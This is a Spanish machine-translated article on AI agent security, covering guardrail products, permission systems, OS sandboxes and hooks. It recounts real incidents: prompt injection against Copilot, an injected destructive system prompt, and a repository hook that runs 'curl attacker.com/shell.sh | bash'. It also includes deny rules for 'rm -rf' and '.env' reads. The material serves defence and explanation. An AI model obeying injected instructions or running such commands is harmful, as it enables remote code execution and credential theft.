Engineering the Agentic Stack · Parte 4

Seguridad de los AI agents: permisos, sandboxes y amenazas de MCP

Traducción automática Este artículo se tradujo automáticamente a partir de la versión original en inglés.

La seguridad de un agente empieza después de que el modelo propone una acción y antes de que la máquina la ejecute. La cuestión es qué control tiene la última palabra cuando la acción alcanza credenciales, archivos, redes o un efecto externo.

El programa que mantiene abierto ese intervalo es el harness: el bucle de control que construye cada prompt, decide qué tool calls propuestos llegan a ejecutarse y devuelve sus resultados al modelo. La mayoría de los controles siguientes viven ahí, porque el momento justo antes de la ejecución es el último punto en el que una comprobación sigue siendo barata. El resto se sitúa a ambos lados. Una vez ejecutado el comando, solo quedan el sandbox que lo rodea, las credenciales que se le entregaron y lo que pueda deshacerse después; además, algunos de los incidentes de este artículo ni siquiera llegaron a un modelo.

La seguridad de los AI agents es más amplia que la seguridad de los LLM. Los primeros productos de guardrails inspeccionaban la entrada y la salida de una única llamada al modelo. Podían filtrar texto tóxico, ocultar datos personales, bloquear jailbreaks y rechazar respuestas fuera de tema. Ese límite era útil mientras el modelo solo podía devolver texto.

Los tool loops añadieron sistemas de archivos, shells, servidores de Model Context Protocol (MCP) y credenciales. El threat model pasó así de texto inseguro a acciones inseguras. Los seis incidentes analizados a continuación no fueron fallos que un filtro de salida mejor pudiera haber evitado: lo que se comprometió fue el sistema circundante.

Cuando un agente puede leer un repositorio, llamar a una herramienta o transferir datos a un tercero, los ingenieros deben asociar cada acción propuesta con el control que realmente puede detenerla. Las secciones siguientes trazan ese mapa: los permisos, los hooks, los sandboxes, las credenciales y la revisión humana pertenecen a límites distintos.

Para consultar una checklist breve de controles, véase Checklist de seguridad de AI agents.

Stack de seguridad de los AI agents

El stack práctico de 2026 no es un único guardrail, sino un conjunto de límites alrededor del loop.

Dos términos son fundamentales para interpretar la última columna de la tabla. El harness es el programa de control descrito arriba. El runtime es la infraestructura sobre la que se apoya ese programa —sandbox, registro de sesión, almacén de checkpoints y trazas— y que sobrevive a cualquier proceso worker individual.

CapaQué controlaEjemplo de fallo que detectaDónde vive
Filtros de contenidoTexto de entrada y salida inseguroSalida tóxica, fuga de PII, completions que infringen políticasHarness
Escalera de permisosQué herramientas, rutas, APIs y scopes puede usar el agenteUn resumidor que intenta escribir en sistemas de producciónHarness
Hook de políticas previo a la herramientaSi esta acción concreta debe ejecutarse ahoraComando shell construido a partir de contenido recuperado no fiableHarness
SandboxQué puede tocar la herramienta en las capas del SO y la redExfiltración de archivos, compromiso de dependencias, command injectionRuntime
Gate humanoAcciones irreversibles o de gran impactoEnviar un correo, mover dinero, desplegar en producciónHarness
Scoping de MCP y tokensPara qué servidor y audiencia es válida una credencialReutilización de un token en un servidor de herramientas no previstoRuntime
Traza de auditoríaQué ocurrió, quién lo aprobó y por quéInvestigación de un incidente tras una ejecución autónoma prolongadaRuntime

Los filtros de contenido responden a si el modelo ha dicho algo inseguro. La seguridad de los AI agents responde a si el sistema tiene permiso para hacer lo siguiente.

Las filas del harness deciden; las del runtime hacen cumplir un límite general establecido de antemano y registran lo ocurrido. Un sandbox sigue protegiendo aunque el harness nunca hubiera previsto el call, que es precisamente el argumento para conservarlo incluso cuando las reglas de permisos parecen completas; pero no puede decirte que una acción permitida era incorrecta. Ese juicio corresponde al harness.

Interpreta la columna como el lugar donde actúa el control, no como quién lo opera: un filtro de contenido gestionado puede ser un servicio de un proveedor, pero el harness es quien lo invoca.

Los filtros de contenido gestionados cubren la capa textual. El resto de controles debe formar parte de las políticas de la aplicación, la identidad y la infraestructura.


Por qué la seguridad de los AI agents es distinta de la seguridad de los LLM

Bharani Subramaniam y Martin Fowler establecieron el marco a principios de 2025 en Emerging Patterns in Building GenAI Products. Su observación era concreta y directa:

“Con los sistemas tradicionales, podíamos evaluar la corrección principalmente mediante pruebas… Con los sistemas basados en LLM, nos encontramos con un sistema que ya no se comporta de forma determinista.”

La evaluación de salidas responde a si la respuesta del modelo cumple una rúbrica. Un threat model de agentes también debe cubrir tool calls, comandos shell, escrituras de archivos, credenciales y peticiones de red. Esas acciones atraviesan límites que un evaluador de salidas no puede hacer cumplir. Esa segunda capa es el harness: no un filtro sobre las palabras del modelo, sino las comprobaciones que rodean el loop y convierten esas palabras en acciones. Todo lo que aparece después de esta sección forma parte de ese wrapper.

Los guardrails de los LLM envuelven una llamada al modelo; el harness envuelve el loopLos guardrails de los LLM envuelven una llamada al modelo; el harness envuelve el loop

Simon Willison acuñó en junio de 2025 la formulación del riesgo específico de los agentes con la tríada letal:

“La tríada letal de capacidades es: acceso a tus datos privados; exposición a contenido no fiable; capacidad de comunicarse externamente de una forma que pueda utilizarse para robar tus datos. Si tu agente combina estas tres características, un atacante puede engañarlo fácilmente para que acceda a tus datos privados y se los envíe.”

Muchos agentes útiles combinan estas capacidades: acceso a la bandeja de entrada, recuperación web y una herramienta de mensajería; o acceso al repositorio, lectura de incidencias y escritura de pull requests. Un guardrail de contenido pregunta si el modelo ha generado texto inseguro. La tríada pregunta si una entrada no fiable puede desviar el sistema hasta revelar datos mediante una acción permitida.

La tríada letalLa tríada letal

La versión estructural del mismo argumento aparece en el preprint Parallax de Joel Fokou (arXiv 2604.12986, enviado el 14 de abril de 2026, no revisado por pares). La afirmación central es:

“El sistema que razona sobre acciones debe ser estructuralmente incapaz de ejecutarlas, y el sistema que ejecuta acciones debe ser estructuralmente incapaz de razonar sobre ellas, con un validador independiente e inmutable interpuesto entre ambos.”

No es necesario aceptar las cifras de evaluación del artículo para examinar su punto estructural. Varios harnesses actuales implementan partes de esta misma separación:

  • Hooks PreToolUse de Claude Code
  • Ejecutor de Codex CLI aislado mediante el SO (en Linux, bubblewrap más filtrado de llamadas al sistema con seccomp)
  • Managed Agents de Anthropic, que mantienen las credenciales en un vault que el agente nunca ve
  • Tokens vinculados a audiencia de MCP basados en RFC 8707

Estos sistemas mantienen el juicio del modelo detrás de un límite de ejecución determinista. Los controles concretos varían, pero el componente que ejecuta un comando no depende de la opinión del modelo sobre si ese comando es seguro.

Existe una disciplina complementaria que Alessandro Pignati formuló con especial claridad en enero de 2026: el Principio de la Agencia Mínima. El Least Privilege pregunta ¿a qué puede acceder esta identidad? El Least Agency pregunta ¿qué puede decidir este agente? El privilegio limita las credenciales; la agencia limita el alcance de un plan incluso cuando las credenciales son válidas. La Excessive Agency tiene su propia entrada en el Top 10 para aplicaciones con LLM publicado por OWASP, el Open Worldwide Application Security Project. La lista agentic independiente que se trata más adelante divide el mismo fallo entre el uso indebido de herramientas y el abuso de privilegios. Least Agency es la disciplina de diseño que evita ambos. Un agente que puede resumir tu bandeja de entrada probablemente no necesita permisos de commit en tu monorepo. Seguimos encontrando configuraciones en las que sí los tiene.


Qué cubren los guardrails de los LLM

Los guardrails de los LLM realizan un trabajo importante alrededor de la llamada al modelo. Inspeccionan la entrada, el texto recuperado y la salida, y después bloquean, redactan, corrigen o marcan el contenido que incumple una regla configurada. Los productos siguientes difieren en despliegue y cobertura. Una comprobación de contenido es independiente de una comprobación de autorización en el límite de la herramienta o del servidor MCP; algunos productos también ofrecen funciones de políticas de runtime que requieren su propia configuración y evaluación.

NVIDIA NeMo Guardrails

El más prescriptivo: un framework de orquestación alrededor de cinco tipos de rails (entrada, diálogo, recuperación, ejecución y salida), con su propio DSL — Colang, un lenguaje similar a Python para flujos de diálogo, intenciones del usuario y mensajes del bot. Puedes controlar lo básico desde Python + YAML, pero la lógica de diálogo más avanzada se escribe en Colang; de ahí lo de «prescriptivo». Documentación en docs.nvidia.com/nemo/guardrails.

Esta es una forma ilustrativa de API; requiere el paquete y un directorio ./config configurado.

from nemoguardrails import LLMRails, RailsConfig

config = RailsConfig.from_path("./config")
rails = LLMRails(config)
response = rails.generate(
    messages=[{"role": "user", "content": "Hello"}]
)

El repositorio de NeMo explicita su threat model: «vulnerabilidades habituales de los LLM, como jailbreaks e inyecciones de prompts». También explicita su alcance: «Los guardrails integrados pueden ser adecuados o no para un caso de uso de producción concreto… los desarrolladores deben trabajar con su equipo interno de la aplicación para garantizar que los guardrails cumplen los requisitos». La ruta de filtrado de contenido mostrada aquí supervisa lo que dice el modelo. La documentación actual de NeMo también describe rails de ejecución, acciones personalizadas e inspección de tool calls; son controles de runtime configurables, no una prueba de que la herramienta o el servidor MCP desplegado hayan autenticado y autorizado la llamada. La aplicación sigue siendo responsable de ese límite.

Meta Llama Guard 4

Un clasificador de contenido puro de 12B, podado a partir de Llama-4-Scout y alineado con la taxonomía de riesgos de MLCommons (13 categorías de daño más abuso del intérprete de código, según la model card). Meta es inusualmente clara sobre sus limitaciones:

“Algunas categorías de riesgo pueden requerir conocimientos fácticos y actualizados para evaluarse por completo… Por último, como LLM, Llama Guard 4 puede ser susceptible a ataques adversariales o ataques de prompt injection que podrían eludir o alterar su uso previsto: consulta Llama Prompt Guard 2 para detectar ataques contra prompts.”

Meta distribuye un producto separado para proteger su clasificador de contenido frente a prompt injection. Si esa frase parece una admisión estructural, lo es.

Guardrails AI

Un registro de validadores. Compones más de 60 validadores del Hub (PII mediante Presidio, JailbreakDetect, CompetitorCheck y comprobaciones de procedencia) con modos de fallo exception | fix | fix_reask | filter | refrain | reask | noop | custom (guardrailsai.com). Observa que exception, no raise: una cadena on_fail no reconocida no genera un error, sino que registra un warning y vuelve al valor predeterminado, por lo que un typo desactiva silenciosamente el validador. No existe un threat model unificado; la cobertura equivale a la unión de los validadores instalados. Obtienes protección para aquello que tenga un validador, y ninguna para todo lo demás.

Lakera Guard

La API SaaS de referencia, entrenada con decenas de millones de muestras de ataques recopiladas de Gandalf. Promete inspeccionar la entrada y la salida para detectar «prompt attacks… y data leakage». El producto independiente AI Agent Security de Lakera también describe la aplicación de políticas de runtime para determinar a qué pueden acceder, qué pueden llamar y qué pueden hacer los agentes. Es una superficie de producto distinta de la llamada de filtrado de contenido tratada aquí. El nivel gratuito ofrece 10.000 peticiones al mes; el precio enterprise no es público.

AWS Bedrock Guardrails

La opción enterprise predeterminada si ya utilizas Bedrock. ApplyGuardrail funciona con cualquier modelo, sea de Bedrock o no:

# No-run: illustrative AWS request; requires boto3, AWS credentials, and a real guardrail identifier.
import boto3

brt = boto3.client("bedrock-runtime")
resp = brt.apply_guardrail(
    guardrailIdentifier="gr-xxxxxxxxxxxx",
    guardrailVersion="2",
    source="INPUT",
    content=[{"text": {"text": "user question",
                        "qualifiers": ["guard_content"]}}],
)

Precios publicados: 0.15per1,000textunitsforcontentfiltersordeniedtopics,0.15 per 1,000 text units for content filters or denied topics, 0,10 para filtros de PII o grounding contextual. Una unidad de texto admite hasta 1.000 caracteres.

Azure AI Content Safety

Incluye Prompt Shields como endpoint unificado que «detecta y bloquea ataques de entrada de usuario adversariales… amenazas directas e indirectas». Azure también es claro: «No puedes utilizar Azure AI Content Safety para detectar imágenes ilegales de explotación infantil», y la calidad multilingüe está limitada a ocho idiomas evaluados.

OpenAI Moderation y OpenAI Guardrails

omni-moderation-latest es la baseline multimodal gratuita. Por separado, openai-guardrails-python (documentación en guardrails.openai.com) es la respuesta de OpenAI en forma de framework: un pipeline de tres etapas (pre-flight, entrada y salida) con detección de jailbreaks, detección de alucinaciones mediante FileSearch, NSFW, PII mediante Presidio y LLM-as-judge. GuardrailAgent se integra con el Agents SDK.

# No-run: illustrative OpenAI Guardrails API shape; requires the package and guardrail_config.json.
from guardrails import GuardrailsOpenAI, GuardrailTripwireTriggered

client = GuardrailsOpenAI(config="guardrail_config.json")
try:
    resp = client.responses.create(model="<your-model-id>", input="...")
except GuardrailTripwireTriggered as e:
    print(f"blocked: {e}")

El límite común

Dos observaciones se aplican a los siete productos.

Primero, escasean los datos publicados de latencia y throughput. Bedrock, Azure y Lakera publican precios, pero no garantías para la latencia en el peor caso. Meta tampoco publica una garantía para un endpoint alojado de Llama Guard. NVIDIA distribuye NeMo Guardrails como software que alojas tú, por lo que la latencia depende de tu modelo y tu infraestructura. Mide cada comprobación síncrona en el critical path en lugar de inferir su coste a partir del precio del producto.

Segundo, la conclusión aquí se limita a las configuraciones centradas en contenido evaluadas en esta sección: Llama Guard 4, Guardrails AI, la ruta de filtrado de contenido de Lakera Guard, Bedrock Guardrails, Azure AI Content Safety y moderation/guardrails de OpenAI. Esas configuraciones no establecen por sí solas la autorización de tool calls, la autenticación de MCP, los controles contra exfiltración en varios pasos, la protección frente al secuestro de objetivos del agente mediante archivos de configuración ni los controles de ejecución de código antes de invocar al modelo. Esto no es una afirmación negativa universal sobre los productos de guardrails: NeMo documenta rails de ejecución e inspección de tool calls, y Lakera describe la aplicación de políticas de runtime en su producto independiente AI Agent Security. El filtrado de contenido sigue siendo un límite distinto de la autorización, que decide si una identidad, un scope, un tool call o una petición a un servidor concretos pueden continuar. El resto de este artículo cubre esos límites de runtime.


Amenazas para la seguridad de los AI agents: seis incidentes y el OWASP ASI Top 10

La distancia entre filtrar texto y proteger la ejecución dejó de ser académica a mediados de 2025. Los seis incidentes siguientes alcanzaron la recuperación, la configuración, las credenciales, la instalación de paquetes o la ejecución en CI. Un clasificador de contenido aún puede detectar una cadena sospechosa, pero los controles que bloquean directamente estas rutas viven en los límites de las herramientas, la identidad, el sandbox y la supply chain.

EchoLeak — CVE-2025-32711, CVSS 9.3

Aim Labs, el brazo de investigación de Aim Security, lo divulgó en junio de 2025 contra Microsoft 365 Copilot. El análisis técnico se encuentra ahora en Cato Networks, que adquirió ese equipo, bajo la firma de Itay Ravia, antiguo responsable de Aim Labs (análisis). Un correo electrónico manipulado, redactado como instrucciones para el destinatario humano, eludió XPIA (el filtro integrado de Microsoft que busca ataques de prompt injection en las entradas de Copilot). A partir de ahí llegó a la capa de recuperación de Copilot, la parte del sistema que busca contexto en tus documentos para responder. Los investigadores llaman a este truco RAG-spraying: el atacante planta la misma instrucción maliciosa en muchos documentos indexados, de modo que la recuperación casi siempre incorpora al menos uno en el contexto del modelo. Una vez dentro, Copilot incrustó obedientemente los datos más sensibles de la sesión en un enlace Markdown que apuntaba a una imagen alojada en un dominio controlado por el atacante. La API de previsualización de Teams, ejecutándose en un dominio que las propias políticas del navegador de Microsoft ya consideraban de confianza, obtuvo automáticamente esa URL de imagen y, al hacerlo, entregó los datos al atacante. Cero clics. Aim Labs denominó a esta clase de ataque «LLM Scope Violation»: el modelo cruza un límite que nunca debería haber cruzado utilizando únicamente operaciones que cada sistema individual consideraba legítimas.

Cada paso parecía legítimo por separado. El correo estaba dirigido a una persona. La recuperación obtuvo un documento que debía obtener. El enlace Markdown se renderizó como se renderizan los enlaces Markdown. La descarga de la imagen llegó a un dominio incluido en la allowlist. XPIA no tenía nada que marcar porque nada era marcable por sí solo. El sistema estaba comprometido. El modelo no.

Amazon Q Developer VS Code v1.84.0 — julio de 2025

AWS distribuyó una build comprometida después de que un atacante subiera un archivo de system prompt malicioso mediante un token de CodeBuild GitHub con un scope excesivo (aviso). El prompt inyectado indicaba al agente que «limpiara un sistema hasta dejarlo casi como de fábrica y eliminara recursos del sistema de archivos y de la nube». El código malicioso se distribuyó con v1.84.0, pero no llegó a ejecutarse por un error de sintaxis. AWS revocó las credenciales, eliminó el código y publicó v1.85.0. El payload falló por ese error de sintaxis, no porque un control de seguridad lo bloqueara.

Azure MCP Server — CVE-2026-32211, CVSS 9.1 de Microsoft/CNA; 7.5 de NVD

El ejemplo más claro de aplicar el control en la capa equivocada. El registro de NVD muestra una puntuación base CVSS 3.1 de NVD de 7,5 (HIGH) y una puntuación de Microsoft CNA de 9,1 (CRITICAL), citando el registro del proveedor de Microsoft por la ausencia de autenticación. Ese registro respalda comprobar la autenticación en el límite del servidor desplegado. No demuestra los valores predeterminados de cada MCP SDK ni la ruta de implementación de todas las versiones afectadas. No se invoca ningún filtro de contenido porque el modelo no interviene. El atacante habla directamente con la herramienta.

Claude Code CVE-2025-59536 — CVSS 8.7

La vulnerabilidad canónica de confianza en la configuración del agente. Aviv Donenfeld y Oded Vanunu, de Check Point, divulgaron que «las configuraciones definidas en el repositorio mediante archivos .mcp.json y .claude/settings.json podían ser explotadas por un atacante para anular la aprobación explícita del usuario… estableciendo la opción enableAllProjectMcpServers a true».

Conviene recorrer despacio la cadena de ataque:

  1. La víctima clona un repositorio no fiable.
  2. Un hook de SessionStart ejecuta curl attacker.com/shell.sh | bash antes de que aparezca el diálogo de confianza de Claude Code.
  3. .mcp.json aprueba automáticamente servidores MCP no fiables.
  4. ANTHROPIC_BASE_URL (el CVE-2026-21852 asociado, CVSS 5.3) redirige silenciosamente todas las llamadas a la API de Claude, incluidos los Bearer tokens, a un host controlado por el atacante.

La corrección llegó en Claude Code 1.0.111 y 2.0.65, respectivamente (aviso GHSA-ph6w-f82w-28w6). El resumen de Check Point es el que conviene recordar: «las defensas tradicionales frente a prompt injection… no ofrecen ninguna protección». El código del atacante se ejecuta en tu máquina (lo que en seguridad se denomina remote code execution, o RCE) antes de que se invoque al modelo.

Axios 1.14.1 — 31 de marzo de 2026

El mantenedor jasonsaayman explicó en el post-mortem: «se publicaron dos versiones maliciosas de axios (1.14.1 y 0.30.4) en el registro npm mediante mi cuenta comprometida. Ambas versiones inyectaban una dependencia llamada plain-crypto-js@4.2.1 que instalaba un remote access trojan en macOS, Windows y Linux». Un remote access trojan es malware que abre silenciosamente una puerta trasera: permite al atacante ejecutar comandos, leer archivos y observar lo que escribes desde cualquier otro punto de Internet. Las versiones maliciosas estuvieron activas aproximadamente tres horas, y el grupo de threat intelligence de Google atribuye el compromiso a UNC1069 (Sapphire Sleet). Cualquier coding agent que ejecutara npm install durante ese intervalo incorporó la puerta trasera. El modelo nunca intervino. En esta clase de incidente, el fallo es la ejecución de la supply chain, no el comportamiento del modelo.

Secuestro de tags de Trivy Actions — GHSA-69fq-xp46-6x23, 19 de marzo de 2026

Un atacante reescribió 76 de los 77 tags de versión en aquasecurity/trivy-action, un repositorio que muchos pipelines de CI utilizan para análisis de seguridad, de forma que los tags apuntaban a malware que robaba credenciales en lugar del código real de Trivy. Hizo lo mismo con los 7 tags de setup-trivy y distribuyó un binario v0.69.4 que volcaba la memoria del proceso Runner.Worker mediante /proc/<pid>/mem y recorría más de cincuenta rutas del sistema de archivos en busca de claves SSH, credenciales cloud, tokens de Kubernetes y archivos .env, directamente desde los runners de GitHub Actions (aviso de Aqua). Cualquier workflow que fijara la action por tag —prácticamente todos— descargó el payload en su siguiente ejecución, porque un Git tag es un puntero móvil y nada aguas abajo vuelve a comprobar dónde apunta ahora. Un coding agent amplía el radio de impacto, pero no lo crea: el agente escribe la referencia al tag en el archivo del workflow, confiando en él exactamente como lo haría un revisor humano, y CI ejecuta después aquello a lo que apunte.

El OWASP ASI Top 10, edición de 2026

La Agentic Security Initiative (ASI) de OWASP es un grupo de trabajo centrado específicamente en agentes dirigidos por LLM. El 9 de diciembre de 2025 publicó el Agentic Security Initiative Top 10 for 2026: un catálogo ordenado de las diez categorías de vulnerabilidad que distinguen los sistemas de agentes de las aplicaciones clásicas con LLM.

La clasificación se basa en los tipos de incidentes que se están acumulando en el mundo real. Léela como una checklist de lo que debe cubrir un threat model de agentes:

OWASP ASI Top 10 para 2026OWASP ASI Top 10 para 2026

Los filtros de contenido pueden contribuir a ASI01 (Goal Hijack) y ASI06 (Memory Poisoning). Las categorías restantes requieren controles de identidad, políticas de herramientas, memoria, orquestación, monitorización o gestión de la supply chain. EchoLeak corresponde a ASI01. Amazon Q corresponde a ASI04 (Supply Chain) y ASI02 (Tool Misuse). Azure MCP es ASI03 (Identity). El CVE-2025-59536 de Claude Code abarca ASI05 (Code Execution), ASI04 y ASI03. Axios y Trivy son ASI04. Este mapeo muestra por qué el threat model debe extenderse más allá de la entrada y salida del modelo.


El permiso es infraestructura, no un prompt

Aquí es donde los guardrails dejan de ser el producto y pasan a ser un subsistema del harness. Tres sistemas en abril de 2026 (OpenAI Agents SDK, Codex CLI y Claude Code) muestran cómo es realmente una superficie de políticas de producción. Los tres aplican los permisos mediante código. Ninguno depende de que el modelo sea cuidadoso.

OpenAI Agents SDK

El SDK separa el harness del compute. Las herramientas MCP alojadas aceptan require_approval: bien la cadena simple "always" / "never", bien un objeto de filtro indexado por esas dos políticas con los nombres de las herramientas que cubre cada una; además, disponen de un callback on_approval_request que se activa para cada herramienta que permanezca bajo "always" y devuelve {"approve": bool} con un motivo opcional. El filtrado detallado por herramienta (tool_filter) está disponible en las variantes de servidor local (MCPServerStdio, MCPServerStreamableHttp, MCPServerSse) si lo necesitas:

# No-run: illustrative Agents SDK shape; requires openai-agents, a configured hosted MCP server, and credentials.
from agents import Agent, HostedMCPTool

def approve(request):
    # Only tools under the "always" policy reach this callback.
    if request.data.name == "delete_repo":
        return {"approve": False, "reason": "escalate to a human reviewer"}
    return {"approve": True}

agent = Agent(
    name="Ops",
    tools=[HostedMCPTool(
        tool_config={
            "type": "mcp",
            "server_label": "github",
            "server_url": "https://mcp.example.com",
            "require_approval": {
                "always": {"tool_names": ["delete_repo"]},
                "never": {"tool_names": ["list_issues"]},
            },
        },
        on_approval_request=approve,
    )],
)

El callback de aprobación es código. La política de aprobación por herramienta es código. Puedes leer este archivo. Puedes probarlo. Puedes comparar sus cambios. Nada de eso se aplica a un system prompt que diga «ten cuidado con producción».

Codex CLI y la capa de políticas gestionada

El harness de coding de OpenAI admite un archivo requirements.toml gestionado que los departamentos de TI pueden distribuir mediante la gestión de dispositivos. En sistemas Unix, el archivo del sistema se encuentra en /etc/codex/requirements.toml. Actúa como una capa de restricciones estrictas, de modo que la configuración del proyecto no puede sobrescribir sus reglas:

# /etc/codex/requirements.toml
[rules]
prefix_rules = [
    { pattern = [{ token = "rm" }, { any_of = ["-rf", "-fr"] }], decision = "forbidden", justification = "Recursive force-delete prohibited by IT policy" },
]

prefix_rules.decision solo acepta "prompt" o "forbidden", nunca "allow". Un proyecto no puede concederse un permiso que la capa gestionada prohíbe. Las allowlists de MCP se indexan tanto por nombre como por identidad, por ejemplo una cadena de comando o una URL. Por tanto, un proyecto no puede afirmar ser github-mcp y apuntar al servidor de un atacante. Los requisitos compatibles varían según el cliente y la versión. La documentación actual exige específicamente Codex 0.138.0 o posterior para las claves de perfiles de permisos gestionados, así que prueba cualquier política de requisitos contra todas las versiones de cliente de la flota antes de desplegarla.

La escalera de permisos de Claude Code

Claude Code no publica un orden lineal único de seis gates para todas las llamadas a herramientas. Sus reglas de permisos se evalúan deny → ask → allow; la primera regla coincidente determina el resultado. Un hook PreToolUse se ejecuta antes del prompt de permisos. Un hook puede bloquear una llamada, pero su resultado no anula una regla coincidente de deny o ask. El modo de permisos activo gestiona las llamadas que las reglas no resuelven. El Claude Agent SDK dispone de un callback canUseTool independiente para las peticiones no resueltas. Ese callback es un control del SDK, no un gate de Claude Code CLI.

Orden de evaluación de permisos de Claude CodeOrden de evaluación de permisos de Claude Code

Los modos rotan entre default → acceptEdits → plan con Shift+Tab. auto, bypassPermissions y dontAsk se activan bajo condiciones de entrada específicas que la capa de políticas gestionada por la empresa puede bloquear. Esto es más que comprobar si un archivo de configuración es correcto: es una máquina de estados con reglas de precedencia, publicada para que un equipo de seguridad pueda razonar sobre ella.

Tres radios de impacto en un solo archivo

Este es el aspecto de una configuración de permisos al estilo Codex con un perfil predeterminado y dos perfiles con nombre:

# ~/.codex/config.toml
approval_policy = "on-request"
sandbox_mode = "workspace-write"

[profiles.ci]
approval_policy = "never"
sandbox_mode = "read-only"

[profiles.release]
approval_policy = "untrusted"
sandbox_mode = "danger-full-access"

[mcp_servers.github]
command = "gh-mcp"
args = ["--readonly"]

Dos claves hacen el trabajo y son independientes. approval_policy decide cuándo se pregunta a una persona. on-request permite al agente escalar cuando encuentra un bloqueo. never no pregunta nunca. untrusted se detiene ante cualquier comando que no esté en la lista de confianza. sandbox_mode decide qué puede tocar el comando si llega a ejecutarse.

CI nunca interrumpe a nadie y no puede escribir. Release puede alcanzar toda la máquina, pero antes debe superar casi todo con una persona. El perfil release paga por ese alcance: danger-full-access desactiva el sandbox, así que la aprobación untrusted es el único control que queda. Todo lo que esté fuera de la lista de confianza requiere aprobación humana o no se ejecuta. Esa lista de confianza pasa a ser todo el límite de seguridad.

Los perfiles predeterminado y CI conservan el kernel debajo: Seatbelt en macOS, bubblewrap más seccomp en Linux y restricted tokens en Windows. En cualquier caso, la opinión del modelo no interviene.

La aplicación del sandbox es una cuestión del SO

Aquí el trabajo real lo hace el kernel. Cada SO ofrece un conjunto de herramientas diferente, y las dos CLIs no siempre utilizan la misma:

PlataformaClaude CodeCodex CLI
macOSSeatbelt mediante sandbox-exec con un perfil SBPL (Seatbelt Profile Language)Seatbelt mediante sandbox-exec -p
Linuxbubblewrap + socat como proxy de redbubblewrap + seccomp (Landlock heredado mediante use_legacy_landlock)
WindowsRequiere WSL2restricted tokens nativos + ACLs del workspace + capability SIDs

Coinciden cuando el SO ofrece una única opción (Seatbelt, bubblewrap) y se separan cuando no es así. Claude Code omite Windows y te envía a WSL2. Codex incluye un sandbox nativo para Windows. En cualquier caso, la aplicación se produce en el kernel, no en el modelo.

La ruta Linux de Codex apila tres bloqueos a nivel de kernel alrededor del comando. PR_SET_NO_NEW_PRIVS impide que el proceso obtenga privilegios adicionales aunque lo intente. Un filtro seccomp hace que el kernel rechace directamente clases completas de llamadas al sistema. En esta configuración, eso incluye sockets de red distintos de los sockets Unix locales. Un /proc nuevo y aislado oculta el resto de la máquina.

Codex también refuerza su propio binario al arrancar en todas las plataformas Unix. Establece RLIMIT_CORE=0 para suprimir los crash dumps y rechaza la conexión de depuradores. Es un límite distinto del sandbox.

Windows ejecuta dos modos. unelevated utiliza un proceso con restricted token que pierde privilegios, pero sigue ejecutándose como el usuario. elevated utiliza un usuario de sandbox dedicado y aislado mediante reglas de firewall.

Cuando el acceso a la red está desactivado, Codex coloca archivos .bat y .cmd ficticios para ssh y scp en un directorio situado al principio de PATH. Esos comandos terminan con un código distinto de cero en lugar de acceder a los binarios reales. Codex también apunta HTTP_PROXY, HTTPS_PROXY, ALL_PROXY y las variables del proxy de Git a un puerto local inactivo. curl, wget y git no tienen entonces dónde enviar tráfico.

Opciones de aislamiento más allá de Claude Code y Codex

Si estás construyendo tu propio agente, «sandbox» resulta ser un término paraguas. Las opciones open source abarcan un espectro: desde wrappers ligeros de namespaces hasta microVMs completas. La elección depende de cuánto confíes en el código que se ejecuta dentro.

Aislamiento ligero: mismo kernel, menos privilegios:

  • bubblewrap: un wrapper de namespaces más seccomp. Es la misma herramienta que utiliza Flatpak y a la que recurre Claude Code en Linux. Rápida, barata y adecuada para tooling de confianza.
  • Contenedores Docker / OCI estándar: aislamiento mediante namespaces sobre un kernel compartido con el host. No son un sandbox para código no fiable; la propia documentación de gVisor lo deja claro («containers are not a sandbox»). Son un punto de partida razonable si se combinan con seccomp y AppArmor, pero no más.

Aislamiento a nivel de aplicación y kernel: el agente habla con un kernel falso:

  • gVisor: el kernel en espacio de usuario de Google. Tu contenedor cree estar en Linux, mientras una implementación del kernel en Go intercepta las llamadas al sistema. Reduce la exposición directa al kernel del host sin una VM guest, con contrapartidas de compatibilidad y rendimiento.

Aislamiento mediante VM completa: un kernel dedicado por sandbox:

  • Firecracker: tecnología de microVM de AWS. Cada sandbox obtiene su propio kernel Linux dentro de KVM. Un escape del kernel en un sandbox no afecta al host ni a ningún sandbox hermano.
  • Kata Containers: experiencia de contenedor con aislamiento de nivel VM. Es la opción habitual en clústeres de Kubernetes que necesitan ejecutar código no fiable.

Plataformas: lo que alquilarías en lugar de construir:

  • E2B convierte Firecracker en una API de sandbox alojada.
  • OpenSandbox de Alibaba permite elegir el runtime —gVisor, Kata o Firecracker— detrás de un único SDK.
  • El Agent Governance Toolkit de Microsoft (con licencia MIT, abril de 2026) añade un motor de políticas de runtime. Aplica controles en menos de un milisegundo y apunta directamente al OWASP ASI Top 10.

Elige el nivel de aislamiento en función del nivel de confianza del código, el límite entre tenants, el acceso a la red, los datos del host y el coste de recuperación. Los controles de namespaces y seccomp pueden encajar con herramientas internas de confianza. El código generado por LLM y los paquetes no fiables necesitan un límite más fuerte, como gVisor, Kata o una microVM, seguido de pruebas contra las rutas de escape y exfiltración de tu propio threat model.

Claude Code y Codex eligieron del mismo menú que cualquier otro sistema. Simplemente lo envolvieron de forma distinta.


Hooks PreToolUse como política programable

Los modos y las allowlists resuelven los casos sencillos: «permite al agente editar archivos, pero no ejecutar bash» o «deniega todo lo que parezca rm -rf». Fallan cuando la política necesita lógica real. Quieres bloquear git push solo cuando la rama sea main. Quieres denegar cualquier Edit que toque un archivo cuyo nombre coincida con una regex de secretos. Quieres limitar la frecuencia de llamadas shell por sesión o enviar cada invocación de herramienta a tu log central de auditoría (el SIEM, el sistema de security information and event management que tu equipo de seguridad ya supervisa).

Nada de eso cabe en una allowlist estática. Para eso sirven los hooks: comandos shell que Claude Code ejecuta en puntos concretos del ciclo de vida del tool call, con capacidad para inspeccionar la llamada pendiente y devolver un allow/deny estructurado. Claude Code expone unos treinta eventos del ciclo de vida (la lista completa está en la documentación), y uno de ellos reordena todo lo demás: un hook PreToolUse que devuelve permissionDecision: "deny" bloquea una herramienta independientemente del modo.

Esta es la estructura de settings:

{
    "permissions": {
        "defaultMode": "acceptEdits",
        "deny": ["Bash(rm -rf:*)", "Bash(sudo:*)", "Read(.env*)"]
    },
    "hooks": {
        "PreToolUse": [
            {
                "matcher": "Bash",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/pre-bash-firewall.sh"
                    }
                ]
            },
            {
                "matcher": "Edit|Write",
                "hooks": [
                    {
                        "type": "command",
                        "command": ".claude/hooks/protect-paths.sh"
                    }
                ]
            }
        ]
    }
}

Un hook puede ser un script shell de cinco líneas o un motor de políticas completo. Lo importante es la forma de retorno:

{
    "hookSpecificOutput": {
        "hookEventName": "PreToolUse",
        "permissionDecision": "deny",
